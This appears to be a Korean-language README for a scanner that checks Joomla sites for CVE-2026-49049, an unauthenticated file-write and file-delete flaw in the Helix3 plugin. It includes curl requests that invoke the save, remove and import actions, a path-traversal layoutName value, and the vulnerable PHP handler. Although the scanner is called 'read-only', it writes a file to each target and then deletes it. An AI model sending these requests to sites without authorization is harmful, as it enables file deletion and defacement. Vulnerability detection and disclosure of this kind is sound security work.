
Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler
CVE-2026-49049는 Joomla의 Helix3 템플릿 프레임워크(버전 1.0 ~ 3.1.0)에 영향을 미칩니다. Joomla의 com_ajax 디스패처를 통해 접근 가능한 onAjaxHelix3 핸들러는 여러 파괴적인 작업에 대해 인증, 권한 부여 또는 CSRF 검증을 수행하지 않습니다.
| 작업 | 영향 | 사용 가능 버전 |
|---|---|---|
save | 공격자가 제어하는 경로 탐색을 통해 JSON 파일 작성 | 모든 버전 |
remove | 임의 파일 삭제 — 확장자 또는 경로 제한 없음 | 모든 버전 |
import | 데이터베이스에 저장된 템플릿 매개변수 덮어쓰기 | v3.x만 |
참고:
import작업은 Helix3 v3.x에서 추가되었습니다. v2.x를 실행하는 사이트는save및remove에만 영향을 받습니다.
이 취약점은 Phil Taylor(mySites.guru)에 의해 발견되었으며 2026년 6월 29일에 공개되었습니다.
| Helix3 버전 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | 취약 | 없음 |
| 3.0 – 3.1.0 | 취약 | 취약 |
| 3.1.1+ | 패치됨 | 패치됨 |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# 단일 대상
python cve_2026_49049.py -t 192.168.1.100
# 대량 스캔
python cve_2026_49049.py -f targets.txt -o results.txt
# JSON 보고서 + 상세 출력
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target 단일 대상 (도메인 또는 IP)
-f, --file 대상 목록 파일, 한 줄에 하나
-o, --output 실시간 텍스트 출력 (기본값: cve-2026-49049_scan.txt)
--json 구조화된 JSON 보고서 (기본값: cve-2026-49049_report.json)
--threads 동시 작업자 수 (기본값: 15)
--timeout HTTP 타임아웃(초) (기본값: 15)
-v, --verbose 프로브 상세 정보 표시
스캐너는 읽기 전용 프로브를 수행합니다. 즉, 인증되지 않은 save 엔드포인트를 통해 Helix3 레이아웃 폴더에 무해한 JSON 파일을 쓰고, 쓰여진 파일을 확인한 후 즉시 remove 엔드포인트를 통해 삭제합니다. 대상에 영구적인 변경 사항이 남지 않습니다.
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla 인증되지 않은 AJAX 핸들러 스캐너
[*] save — 접근 가능 (프로브: 3a9719da)
[*] remove — 접근 가능 (프로브 정리됨)
호스트 : 192.168.1.100
상태 : 취약
Helix3 : 2.5.6
취약: 예
save : 예
remove : 예
import : 아니요
시간 : 2.0초
스캐너는 다음 정확한 엔드포인트를 프로브합니다. 수동 확인을 위해:
1단계 — Helix3 설치 확인
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# <version>X.X.X</version> 찾기
2단계 — save 작업 테스트 (인증되지 않은 파일 쓰기)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
3단계 — remove 작업 테스트 (인증되지 않은 파일 삭제)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
4단계 — import 작업 테스트 (v3.x만, v2.x에서는 사용 불가)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# 참고: import는 Helix3 v3.x에서 추가되었습니다.
# v2.x를 실행하는 사이트는 이 작업에 대해 빈 응답을 반환합니다.
Helix3 3.1.1 이전 버전에서 plugins/ajax/helix3/helix3.php는 onAjaxHelix3()를 통해 요청을 처리하며 아무런 보호 장치가 없습니다:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// 인증 확인 없음. CSRF 토큰 없음. 경로 검증 없음.
$filepath = $layoutPath . $layoutName; // 경로 탐색 가능
switch ($action) {
case 'remove':
unlink($filepath); // 임의 파일 삭제
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // 쓰기
break;
}
}
layoutName=../../../somewhere/evil를 사용하여 의도된 레이아웃 디렉터리 외부에 파일을 씁니다.save(.json을 추가)와 달리 remove는 모든 파일 유형을 대상으로 할 수 있습니다.custom_js는 템플릿 출력에서 이스케이프되지 않은 상태로 렌더링되어 모든 페이지에 스크립트 주입이 가능합니다. 이것이 실제 웹사이트 변조 공격에 사용된 벡터입니다.교육 및 승인된 테스트 목적으로만 사용하세요.
이 소프트웨어는 공인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 취약점 악용을 연구하는 연구자를 대상으로 합니다.
컴퓨터 시스템에 대한 무단 접근은 불법이며 다음 법률을 위반할 수 있습니다:
- 미국: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- 인도네시아: UU ITE Pasal 30 & 46
- 유럽 연합: Directive 2013/40/EU
- 영국: Computer Misuse Act 1990
저자는 오용에 대해 책임을 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 모든 행동에 대한 전적인 책임을 수락합니다.
| 자원 | 링크 |
|---|
이 프로젝트는 JoomShaper, Joomla 또는 Open Source Matters, Inc.와 제휴 관계가 아닙니다.
| 원본 권고 (mySites.guru) | Helix3 3.1.1 Security Fix |
| NVD 항목 | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | Helix3 저장소 |